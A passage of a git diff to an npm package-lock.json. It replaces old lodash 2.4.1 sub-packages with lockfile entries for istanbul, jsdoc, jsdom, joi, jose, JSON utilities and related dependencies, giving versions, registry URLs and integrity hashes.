"https://registry.npmjs.org/lodash._basecreate/-/lodash._basecreate-2.4.1.tgz", +- "integrity": "sha1-+Ob1tXip405UEXm1a47uv0oofgg=", ++ "istanbul-lib-report": { ++ "version": "3.0.0", ++ "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz", ++ "integrity": "sha512-wcdi+uAKzfiGT2abPpKZ0hSU1rGQjUQnLvtY5MpQ7QCTahD3VODhcu4wcfY1YtkGaDD5yuydOLINXsfbus9ROw==", ++ "dev": true, + "requires": { +- "lodash._isnative": "~2.4.1", +- "lodash.isobject": "~2.4.1", +- "lodash.noop": "~2.4.1" ++ "istanbul-lib-coverage": "^3.0.0", ++ "make-dir": "^3.0.0", ++ "supports-color": "^7.1.0" ++ }, ++ "dependencies": { ++ "make-dir": { ++ "version": "3.1.0", ++ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", ++ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", ++ "dev": true, ++ "requires": { ++ "semver": "^6.0.0" ++ } ++ }, ++ "supports-color": { ++ "version": "7.2.0", ++ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", ++ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", ++ "dev": true, ++ "requires": { ++ "has-flag": "^4.0.0" ++ } ++ } + } + }, +- "lodash._basecreatecallback": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._basecreatecallback/-/lodash._basecreatecallback-2.4.1.tgz", +- "integrity": "sha1-fQsmdknLKeehOdAQO3wR+uhOSFE=", ++ "istanbul-lib-source-maps": { ++ "version": "4.0.1", ++ "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", ++ "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==", ++ "dev": true, + "requires": { +- "lodash._setbinddata": "~2.4.1", +- "lodash.bind": "~2.4.1", +- "lodash.identity": "~2.4.1", +- "lodash.support": "~2.4.1" ++ "debug": "^4.1.1", ++ "istanbul-lib-coverage": "^3.0.0", ++ "source-map": "^0.6.1" ++ }, ++ "dependencies": { ++ "source-map": { ++ "version": "0.6.1", ++ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", ++ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", ++ "dev": true ++ } + } + }, +- "lodash._basecreatewrapper": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._basecreatewrapper/-/lodash._basecreatewrapper-2.4.1.tgz", +- "integrity": "sha1-TTHy595+E0+/KAN2K4FQsyUZZm8=", ++ "istanbul-reports": { ++ "version": "3.1.3", ++ "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.3.tgz", ++ "integrity": "sha512-x9LtDVtfm/t1GFiLl3NffC7hz+I1ragvgX1P/Lg1NlIagifZDKUkuuaAxH/qpwj2IuEfD8G2Bs/UKp+sZ/pKkg==", ++ "dev": true, + "requires": { +- "lodash._basecreate": "~2.4.1", +- "lodash._setbinddata": "~2.4.1", +- "lodash._slice": "~2.4.1", +- "lodash.isobject": "~2.4.1" ++ "html-escaper": "^2.0.0", ++ "istanbul-lib-report": "^3.0.0" + } + }, +- "lodash._createwrapper": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._createwrapper/-/lodash._createwrapper-2.4.1.tgz", +- "integrity": "sha1-UdaVeXPaTtVW43KQ2MGhjFPeFgc=", ++ "jest-worker": { ++ "version": "27.5.1", ++ "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", ++ "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "requires": { +- "lodash._basebind": "~2.4.1", +- "lodash._basecreatewrapper": "~2.4.1", +- "lodash._slice": "~2.4.1", +- "lodash.isfunction": "~2.4.1" ++ "@types/node": "*", ++ "merge-stream": "^2.0.0", ++ "supports-color": "^8.0.0" + } + }, +- "lodash._getarray": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._getarray/-/lodash._getarray-2.4.1.tgz", +- "integrity": "sha1-+vH3+BD6mFolHCGHQESBCUg55e4=", ++ "jmespath": { ++ "version": "0.16.0", ++ "resolved": "https://registry.npmjs.org/jmespath/-/jmespath-0.16.0.tgz", ++ "integrity": "sha512-9FzQjJ7MATs1tSpnco1K6ayiYE3figslrXA72G2HQ/n76RzvYlofyi5QM+iX4YRs/pu3yzxlVQSST23+dMDknw==" ++ }, ++ "joi": { ++ "version": "17.6.0", ++ "resolved": "https://registry.npmjs.org/joi/-/joi-17.6.0.tgz", ++ "integrity": "sha512-OX5dG6DTbcr/kbMFj0KGYxuew69HPcAE3K/sZpEV2nP6e/j/C0HV+HNiBPCASxdx5T7DMoa0s8UeHWMnb6n2zw==", + "requires": { +- "lodash._arraypool": "~2.4.1" ++ "@hapi/hoek": "^9.0.0", ++ "@hapi/topo": "^5.0.0", ++ "@sideway/address": "^4.1.3", ++ "@sideway/formula": "^3.0.0", ++ "@sideway/pinpoint": "^2.0.0" ++ }, ++ "dependencies": { ++ "@hapi/hoek": { ++ "version": "9.2.1", ++ "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.2.1.tgz", ++ "integrity": "sha512-gfta+H8aziZsm8pZa0vj04KO6biEiisppNgA1kbJvFrrWu9Vm7eaUEy76DIxsuTaWvti5fkJVhllWc6ZTE+Mdw==" ++ } + } + }, +- "lodash._isnative": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._isnative/-/lodash._isnative-2.4.1.tgz", +- "integrity": "sha1-PqZAS3hKe+g2x7V1gOHN95sUgyw=" ++ "jose": { ++ "version": "4.6.0", ++ "resolved": "https://registry.npmjs.org/jose/-/jose-4.6.0.tgz", ++ "integrity": "sha512-0hNAkhMBNi4soKSAX4zYOFV+aqJlEz/4j4fregvasJzEVtjDChvWqRjPvHwLqr5hx28Ayr6bsOs1Kuj87V0O8w==" + }, +- "lodash._maxpoolsize": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._maxpoolsize/-/lodash._maxpoolsize-2.4.1.tgz", +- "integrity": "sha1-nUgvRjuOZq++WcLBTtsRcGAXIzQ=" ++ "jquery": { ++ "version": "2.2.4", ++ "resolved": "https://registry.npmjs.org/jquery/-/jquery-2.2.4.tgz", ++ "integrity": "sha1-LInWiJterFIqfuoywUUhVZxsvwI=" + }, +- "lodash._objecttypes": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._objecttypes/-/lodash._objecttypes-2.4.1.tgz", +- "integrity": "sha1-fAt/admKH3ZSn4kLDNsbTf7BHBE=" ++ "js-stringify": { ++ "version": "1.0.2", ++ "resolved": "https://registry.npmjs.org/js-stringify/-/js-stringify-1.0.2.tgz", ++ "integrity": "sha1-Fzb939lyTyijaCrcYjCufk6Weds=" + }, +- "lodash._reinterpolate": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/lodash._reinterpolate/-/lodash._reinterpolate-3.0.0.tgz", +- "integrity": "sha1-DM8tiRZq8Ds2Y8eWU4t1rG4RTZ0=", +- "dev": true ++ "js-tokens": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", ++ "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, +- "lodash._releasearray": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._releasearray/-/lodash._releasearray-2.4.1.tgz", +- "integrity": "sha1-phOWMNdtFTawfdyAliiJsIL2pkE=", ++ "js-yaml": { ++ "version": "4.1.0", ++ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", ++ "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", ++ "dev": true, ++ "requires": { ++ "argparse": "^2.0.1" ++ } ++ }, ++ "js2xmlparser": { ++ "version": "4.0.2", ++ "resolved": "https://registry.npmjs.org/js2xmlparser/-/js2xmlparser-4.0.2.tgz", ++ "integrity": "sha512-6n4D8gLlLf1n5mNLQPRfViYzu9RATblzPEtm1SthMX1Pjao0r9YI9nw7ZIfRxQMERS87mcswrg+r/OYrPRX6jA==", ++ "dev": true, ++ "requires": { ++ "xmlcreate": "^2.0.4" ++ } ++ }, ++ "jsbn": { ++ "version": "0.1.1", ++ "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", ++ "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=" ++ }, ++ "jsdoc": { ++ "version": "3.6.10", ++ "resolved": "https://registry.npmjs.org/jsdoc/-/jsdoc-3.6.10.tgz", ++ "integrity": "sha512-IdQ8ppSo5LKZ9o3M+LKIIK8i00DIe5msDvG3G81Km+1dhy0XrOWD0Ji8H61ElgyEj/O9KRLokgKbAM9XX9CJAg==", ++ "dev": true, + "requires": { +- "lodash._arraypool": "~2.4.1", +- "lodash._maxpoolsize": "~2.4.1" ++ "@babel/parser": "^7.9.4", ++ "@types/markdown-it": "^12.2.3", ++ "bluebird": "^3.7.2", ++ "catharsis": "^0.9.0", ++ "escape-string-regexp": "^2.0.0", ++ "js2xmlparser": "^4.0.2", ++ "klaw": "^4.0.1", ++ "markdown-it": "^12.3.2", ++ "markdown-it-anchor": "^8.4.1", ++ "marked": "^4.0.10", ++ "mkdirp": "^1.0.4", ++ "requizzle": "^0.2.3", ++ "strip-json-comments": "^3.1.0", ++ "taffydb": "2.6.2", ++ "underscore": "~1.13.2" ++ }, ++ "dependencies": { ++ "escape-string-regexp": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz", ++ "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==", ++ "dev": true ++ }, ++ "mkdirp": { ++ "version": "1.0.4", ++ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", ++ "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", ++ "dev": true ++ } + } + }, +- "lodash._setbinddata": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._setbinddata/-/lodash._setbinddata-2.4.1.tgz", +- "integrity": "sha1-98IAzRuS7yNrOZ7s9zxkjReqlNI=", ++ "jsdoc-api": { ++ "version": "7.1.1", ++ "resolved": "https://registry.npmjs.org/jsdoc-api/-/jsdoc-api-7.1.1.tgz", ++ "integrity": "sha512-0pkuPCzVXiqsDAsVrNFXCkHzlyNepBIDVtwwehry4RJAnZmXtlAz7rh8F9FRz53u3NeynGbex+bpYWwi8lE66A==", ++ "dev": true, + "requires": { +- "lodash._isnative": "~2.4.1", +- "lodash.noop": "~2.4.1" ++ "array-back": "^6.2.2", ++ "cache-point": "^2.0.0", ++ "collect-all": "^1.0.4", ++ "file-set": "^4.0.2", ++ "fs-then-native": "^2.0.0", ++ "jsdoc": "^3.6.10", ++ "object-to-spawn-args": "^2.0.1", ++ "temp-path": "^1.0.0", ++ "walk-back": "^5.1.0" + } + }, +- "lodash._shimkeys": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._shimkeys/-/lodash._shimkeys-2.4.1.tgz", +- "integrity": "sha1-bpzJZm/wgfC1psl4uD4kLmlJ0gM=", ++ "jsdoc-parse": { ++ "version": "6.1.0", ++ "resolved": "https://registry.npmjs.org/jsdoc-parse/-/jsdoc-parse-6.1.0.tgz", ++ "integrity": "sha512-n/hDGQJa69IBun1yZAjqzV4gVR41+flZ3bIlm9fKvNe2Xjsd1/+zCo2+R9ls8LxtePgIWbpA1jU7xkB2lRdLLg==", ++ "dev": true, + "requires": { +- "lodash._objecttypes": "~2.4.1" ++ "array-back": "^6.2.2", ++ "lodash.omit": "^4.5.0", ++ "lodash.pick": "^4.4.0", ++ "reduce-extract": "^1.0.0", ++ "sort-array": "^4.1.4", ++ "test-value": "^3.0.0" + } + }, +- "lodash._slice": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._slice/-/lodash._slice-2.4.1.tgz", +- "integrity": "sha1-dFz0GlNZexj2iImFREBe+isG2Q8=" +- }, +- "lodash.assign": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.assign/-/lodash.assign-2.4.1.tgz", +- "integrity": "sha1-hMOVlt1xGBqXsGUpE6fJZ15Jsao=", ++ "jsdoc-to-markdown": { ++ "version": "7.1.1", ++ "resolved": "https://registry.npmjs.org/jsdoc-to-markdown/-/jsdoc-to-markdown-7.1.1.tgz", ++ "integrity": "sha512-CI86d63xAVNO+ENumWwmJ034lYe5iGU5GwjtTA11EuphP9tpnoi4hrKgR/J8uME0D+o4KUpVfwX1fjZhc8dEtg==", ++ "dev": true, + "requires": { +- "lodash._basecreatecallback": "~2.4.1", +- "lodash._objecttypes": "~2.4.1", +- "lodash.keys": "~2.4.1" ++ "array-back": "^6.2.2", ++ "command-line-tool": "^0.8.0", ++ "config-master": "^3.1.0", ++ "dmd": "^6.1.0", ++ "jsdoc-api": "^7.1.1", ++ "jsdoc-parse": "^6.1.0", ++ "walk-back": "^5.1.0" + } + }, +- "lodash.bind": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.bind/-/lodash.bind-2.4.1.tgz", +- "integrity": "sha1-XRn6AFyMTSNvr0dCx7eh/Kvikmc=", ++ "jsdom": { ++ "version": "19.0.0", ++ "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-19.0.0.tgz", ++ "integrity": "sha512-RYAyjCbxy/vri/CfnjUWJQQtZ3LKlLnDqj+9XLNnJPgEGeirZs3hllKR20re8LUZ6o1b1X4Jat+Qd26zmP41+A==", ++ "dev": true, + "requires": { +- "lodash._createwrapper": "~2.4.1", +- "lodash._slice": "~2.4.1" ++ "abab": "^2.0.5", ++ "acorn": "^8.5.0", ++ "acorn-globals": "^6.0.0", ++ "cssom": "^0.5.0", ++ "cssstyle": "^2.3.0", ++ "data-urls": "^3.0.1", ++ "decimal.js": "^10.3.1", ++ "domexception": "^4.0.0", ++ "escodegen": "^2.0.0", ++ "form-data": "^4.0.0", ++ "html-encoding-sniffer": "^3.0.0", ++ "http-proxy-agent": "^5.0.0", ++ "https-proxy-agent": "^5.0.0", ++ "is-potential-custom-element-name": "^1.0.1", ++ "nwsapi": "^2.2.0", ++ "parse5": "6.0.1", ++ "saxes": "^5.0.1", ++ "symbol-tree": "^3.2.4", ++ "tough-cookie": "^4.0.0", ++ "w3c-hr-time": "^1.0.2", ++ "w3c-xmlserializer": "^3.0.0", ++ "webidl-conversions": "^7.0.0", ++ "whatwg-encoding": "^2.0.0", ++ "whatwg-mimetype": "^3.0.0", ++ "whatwg-url": "^10.0.0", ++ "ws": "^8.2.3", ++ "xml-name-validator": "^4.0.0" ++ }, ++ "dependencies": { ++ "@tootallnate/once": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", ++ "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", ++ "dev": true ++ }, ++ "acorn": { ++ "version": "8.7.0", ++ "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.7.0.tgz", ++ "integrity": "sha512-V/LGr1APy+PXIwKebEWrkZPwoeoF+w1jiOBUmuxuiUIaOHtob8Qc9BTrYo7VuI5fR8tqsy+buA2WFooR5olqvQ==", ++ "dev": true ++ }, ++ "form-data": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", ++ "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", ++ "dev": true, ++ "requires": { ++ "asynckit": "^0.4.0", ++ "combined-stream": "^1.0.8", ++ "mime-types": "^2.1.12" ++ } ++ }, ++ "http-proxy-agent": { ++ "version": "5.0.0", ++ "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", ++ "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", ++ "dev": true, ++ "requires": { ++ "@tootallnate/once": "2", ++ "agent-base": "6", ++ "debug": "4" ++ } ++ }, ++ "tr46": { ++ "version": "3.0.0", ++ "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz", ++ "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==", ++ "dev": true, ++ "requires": { ++ "punycode": "^2.1.1" ++ } ++ }, ++ "whatwg-url": { ++ "version": "10.0.0", ++ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-10.0.0.tgz", ++ "integrity": "sha512-CLxxCmdUby142H5FZzn4D8ikO1cmypvXVQktsgosNy4a4BHrDHeciBBGZhb0bNoR5/MltoCatso+vFjjGx8t0w==", ++ "dev": true, ++ "requires": { ++ "tr46": "^3.0.0", ++ "webidl-conversions": "^7.0.0" ++ } ++ } + } + }, +- "lodash.camelcase": { +- "version": "4.3.0", +- "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", +- "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=" ++ "jsdom-global": { ++ "version": "3.0.2", ++ "resolved": "https://registry.npmjs.org/jsdom-global/-/jsdom-global-3.0.2.tgz", ++ "integrity": "sha1-a9KZwTsMRiay2iwDk81DhdYGrLk=", ++ "dev": true, ++ "requires": {} + }, +- "lodash.clonedeep": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-2.4.1.tgz", +- "integrity": "sha1-8pIDtAsS/uCkXTYxZIJZvrq8eGg=", ++ "jsesc": { ++ "version": "2.5.2", ++ "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", ++ "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==" ++ }, ++ "json-bigint": { ++ "version": "1.0.0", ++ "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-1.0.0.tgz", ++ "integrity": "sha512-SiPv/8VpZuWbvLSMtTDU8hEfrZWg/mH/nV/b4o0CYbSxu1UIQPLdwKOCIyLQX+VIPO5vrLX3i8qtqFyhdPSUSQ==", + "requires": { +- "lodash._baseclone": "~2.4.1", +- "lodash._basecreatecallback": "~2.4.1" ++ "bignumber.js": "^9.0.0" + } + }, +- "lodash.debounce": { +- "version": "4.0.8", +- "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", +- "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=" ++ "json-parse-better-errors": { ++ "version": "1.0.2", ++ "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", ++ "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==" + }, +- "lodash.defaults": { +- "version": "4.2.0", +- "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz", +- "integrity": "sha1-0JF4cW/+pN3p5ft7N/bwgCJ0WAw=" ++ "json-parse-even-better-errors": { ++ "version": "2.3.1", ++ "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", ++ "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", ++ "dev": true + }, +- "lodash.difference": { +- "version": "4.5.0", +- "resolved": "https://registry.npmjs.org/lodash.difference/-/lodash.difference-4.5.0.tgz", +- "integrity": "sha1-nMtOUF1Ia5FlE0V3KIWi3yf9AXw=" ++ "json-schema": { ++ "version": "0.4.0", ++ "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz", ++ "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==" + }, +- "lodash.flatten": { +- "version": "4.4.0", +- "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz", +- "integrity": "sha1-8xwiIlqWMtK7+OSt2+8kCqdlph8=" ++ "json-schema-traverse": { ++ "version": "0.4.1", ++ "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", ++ "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, +- "lodash.flattendeep": { +- "version": "4.4.0", +- "resolved": "https://registry.npmjs.org/lodash.flattendeep/-/lodash.flattendeep-4.4.0.tgz", +- "integrity": "sha1-+wMJF/hqMTTlvJvsDWngAT3f7bI=", ++ "json-stable-stringify-without-jsonify": { ++ "version": "1.0.1", ++ "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", ++ "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", + "dev": true + }, +- "lodash.foreach": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.foreach/-/lodash.foreach-2.4.1.tgz", +- "integrity": "sha1-/j/Do0yGyUyrb5UiVgKCdB4BYwk=", ++ "json-stringify-safe": { ++ "version": "5.0.1", ++ "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", ++ "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" ++ }, ++ "json2csv": { ++ "version": "4.5.4", ++ "resolved": "https://registry.npmjs.org/json2csv/-/json2csv-4.5.4.tgz", ++ "integrity": "sha512-YxBhY4Lmn8IvVZ36nqg5omxneLy9JlorkqW1j/EDCeqvmi+CQ4uM+wsvXlcIqvGDewIPXMC/O/oF8DX9EH5aoA==", + "requires": { +- "lodash._basecreatecallback": "~2.4.1", +- "lodash.forown": "~2.4.1" ++ "commander": "^2.15.1", ++ "jsonparse": "^1.3.1", ++ "lodash.get": "^4.4.2" ++ }, ++ "dependencies": { ++ "commander": { ++ "version": "2.20.3", ++ "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", ++ "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" ++ } + } + }, +- "lodash.forown": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.forown/-/lodash.forown-2.4.1.tgz", +- "integrity": "sha1-eLQer+FAX6lmRZ6kGT/VAtCEUks=", ++ "json5": { ++ "version": "2.2.0", ++ "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", ++ "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==", + "requires": { +- "lodash._basecreatecallback": "~2.4.1", +- "lodash._objecttypes": "~2.4.1", +- "lodash.keys": "~2.4.1" ++ "minimist": "^1.2.5" ++ }, ++ "dependencies": { ++ "minimist": { ++ "version": "1.2.5", ++ "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", ++ "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" ++ } + } + }, +- "lodash.frompairs": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/lodash.frompairs/-/lodash.frompairs-4.0.1.tgz", +- "integrity": "sha1-vE5SB/onV8E25XNhTpZkUGsrG9I=" +- }, +- "lodash.get": { +- "version": "4.4.2", +- "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", +- "integrity": "sha1-LRd/ZS+jHpObRDjVNBSZ36OCXpk=" +- }, +- "lodash.has": { +- "version": "4.5.2", +- "resolved": "https://registry.npmjs.org/lodash.has/-/lodash.has-4.5.2.tgz", +- "integrity": "sha1-0Z9NwQlQWMzL4rDN9O4P5Ko3yGI=", +- "dev": true +- }, +- "lodash.identity": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.identity/-/lodash.identity-2.4.1.tgz", +- "integrity": "sha1-ZpTP+mX++TH3wxzobHRZfPVg9PE=" +- }, +- "lodash.includes": { +- "version": "4.3.0", +- "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz", +- "integrity": "sha1-YLuYqHy5I8aMoeUTJUgzFISfVT8=" +- }, +- "lodash.isarguments": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/lodash.isarguments/-/lodash.isarguments-3.1.0.tgz", +- "integrity": "sha1-L1c9hcaiQon/AGY7SRwdM4/zRYo=" +- }, +- "lodash.isarray": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.isarray/-/lodash.isarray-2.4.1.tgz", +- "integrity": "sha1-tSoybB9i9tfac6MdVAHfbvRPD6E=", ++ "jsonfile": { ++ "version": "6.1.0", ++ "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", ++ "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "requires": { +- "lodash._isnative": "~2.4.1" ++ "graceful-fs": "^4.1.6", ++ "universalify": "^2.0.0" + } + }, +- "lodash.isboolean": { +- "version": "3.0.3", +- "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", +- "integrity": "sha1-bC4XHbKiV82WgC/UOwGyDV9YcPY=" +- }, +- "lodash.isequal": { +- "version": "4.5.0", +- "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz", +- "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=" +- }, +- "lodash.isfunction": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.isfunction/-/lodash.isfunction-2.4.1.tgz", +- "integrity": "sha1-LP1XXHPkmKtX4xm3f6Aq3vE6lNE=" +- }, +- "lodash.isinteger": { +- "version": "4.0.4", +- "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz", +- "integrity": "sha1-YZwK89A/iwTDH1iChAt3sRzWg0M=" +- }, +- "lodash.isnumber": { +- "version": "3.0.3", +- "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", +- "integrity": "sha1-POdoEMWSjQM1IwGsKHMX8RwLH/w=" ++ "jsonparse": { ++ "version": "1.3.1", ++ "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz", ++ "integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA=" + }, +- "lodash.isobject": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.isobject/-/lodash.isobject-2.4.1.tgz", +- "integrity": "sha1-Wi5H/mmVPx7mMafrof5k0tBlWPU=", ++ "JSONStream": { ++ "version": "1.3.5", ++ "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.5.tgz", ++ "integrity": "sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ==", + "requires": { +- "lodash._objecttypes": "~2.4.1" ++ "jsonparse": "^1.2.0", ++ "through": ">=2.2.7 <3" + } + }, +- "lodash.isplainobject": { +- "version": "4.0.6", +- "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", +- "integrity": "sha1-fFJqUtibRcRcxpC4gWO+BJf1UMs=" +- }, +- "lodash.isstring": { +- "version": "4.0.1", +- "resolved": 